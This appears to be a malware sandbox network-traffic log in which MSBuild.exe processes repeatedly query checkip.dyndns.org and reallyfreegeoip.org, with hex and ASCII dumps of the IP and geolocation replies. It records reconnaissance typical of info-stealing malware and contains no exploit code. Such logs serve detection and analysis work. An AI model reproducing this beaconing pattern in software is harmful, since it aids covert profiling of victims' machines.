Dec 14, 2024 13:49:53.282005072 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b635cd16f99c5362010150a8c318bca6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49740	193.122.6.168	80	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:49:53.534574986 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 14, 2024 13:49:54.991236925 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 72adf531cb404e9395e443c2e063b127 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49741	193.122.6.168	80	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:49:55.082681894 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:49:56.351850033 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 26c21a1d4fe88fb8f0c2d88305b546b5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49744	193.122.6.168	80	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:49:56.811084032 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:49:58.328589916 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8988aa3926c02327362e75059d6c8c91 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49746	193.122.6.168	80	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:49:58.234639883 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:49:59.510355949 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e35402f92ed500e0559479913cc60d45 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49749	193.122.6.168	80	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:50:00.122747898 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:50:05.112823009 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6ac4e8d7e901e636a5d3e335cb3153c5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49750	193.122.6.168	80	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:50:01.299500942 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:50:09.118654966 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 581cf8521b9cc737d84ff20024147f43 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49753	132.226.247.73	80	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:50:07.045927048 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:50:17.287951946 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3006336f35ffbf79b9f5d7ab00479c2e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49759	132.226.247.73	80	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:50:19.089621067 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:50:22.347810984 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7d5d263a8b663d8a5f74a6fc8425581a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49764	132.226.247.73	80	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:50:24.314376116 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:50:25.618638039 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:25 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6d77ce9d29071eb2514e720ddb20ff03 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49766	132.226.247.73	80	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:50:27.426146030 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:50:28.729875088 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bc6542e5d34b53f9de50bf3cc8bbad93 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49720	172.67.177.134	443	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:39 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-14 12:49:40 UTC	890	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:40 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169349 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8c91Dt5xMf5%2BE6JKVVejbKsJMNI2RSTJR%2FJuZhu7EJLhUiSZ73%2B7y7rN%2FZsi3B6muOgCEMF0fOp%2BVegVP%2Fj1cPTB1F%2Fa%2Bps4wAkl2vCwDd7LGthnDxOW%2FGqkqRxY%2F5LqCDwBFJGg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e50b15c00426a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&min_rtt=1709&rtt_var=641&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1707602&cwnd=223&unsent_bytes=0&cid=842dfbd479ed1e79&ts=540&x=0"
2024-12-14 12:49:40 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	172.67.177.134	443	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:41 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-14 12:49:42 UTC	878	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:42 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169351 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mHwYGlMMH273zI7amlvU%2FYlG6Lz90U2wvJt%2F0xGyraO8aZPM%2FE7tWgJmVu0oD2nkYYjSJtyE3VNeXU%2Fiwp0SpM41w4njxAWfl4S1sPATXIChdzhvOSf9Vi64PB8dR14Z9b94CTpJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e50be39b44231-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1945&min_rtt=1878&rtt_var=752&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1554845&cwnd=127&unsent_bytes=0&cid=317d37351d0a1237&ts=454&x=0"
2024-12-14 12:49:42 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49726	172.67.177.134	443	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:45 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-14 12:49:45 UTC	884	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:45 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169354 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e53cQg%2FqgmTH9m7wZRH3UqilDUH38g6antX%2BWeu6khHxRH3fOibvwSYSPVxtKEsPmKh%2Fr3%2FBHIoiH92QH%2FWhNFCnR8Q9B%2B6k1goIsrKlrCgmJss%2F2ilxOqPXQATvVSiRBK15DWg2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e50d3bf151885-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1519&min_rtt=1514&rtt_var=578&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1877813&cwnd=193&unsent_bytes=0&cid=86fd80e0535ee8d3&ts=453&x=0"
2024-12-14 12:49:45 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49730	172.67.177.134	443	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:48 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-14 12:49:48 UTC	876	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:48 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169357 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gt1U%2BlMklbYvp5w9uFWdsST9oEsCxG0BVjFPEGBtDtLzHZW2T4j8buZhKogqsgNb%2F6EpxdSdfCQkjM6kH0izRICh0XfCb7F%2F6mlG1MQEooEct2nJWmnx1HJOL986QSy4TbngHg3k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e50e6dcb3efa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2032&min_rtt=2019&rtt_var=784&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1371535&cwnd=194&unsent_bytes=0&cid=70dc5a0a8efbc197&ts=450&x=0"
2024-12-14 12:49:48 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49734	172.67.177.134	443	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:50 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-14 12:49:51 UTC	878	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:51 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169360 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yBpGqXlnK8BPBElhZ%2F4QSUt%2FplO8MZ%2FHSlLXI39QXCdWHDEwwTvZ9bgOB1KhExqCt4Ql1A18eg8briLKF5j5EEbPqxO8ctrn%2B9Fgj98VQazMvKROwprl0ZKwkds31c7AsRjvJOu6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e50f6b9d66a5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1632&rtt_var=624&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1737061&cwnd=187&unsent_bytes=0&cid=e4e46669f848c894&ts=454&x=0"
2024-12-14 12:49:51 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
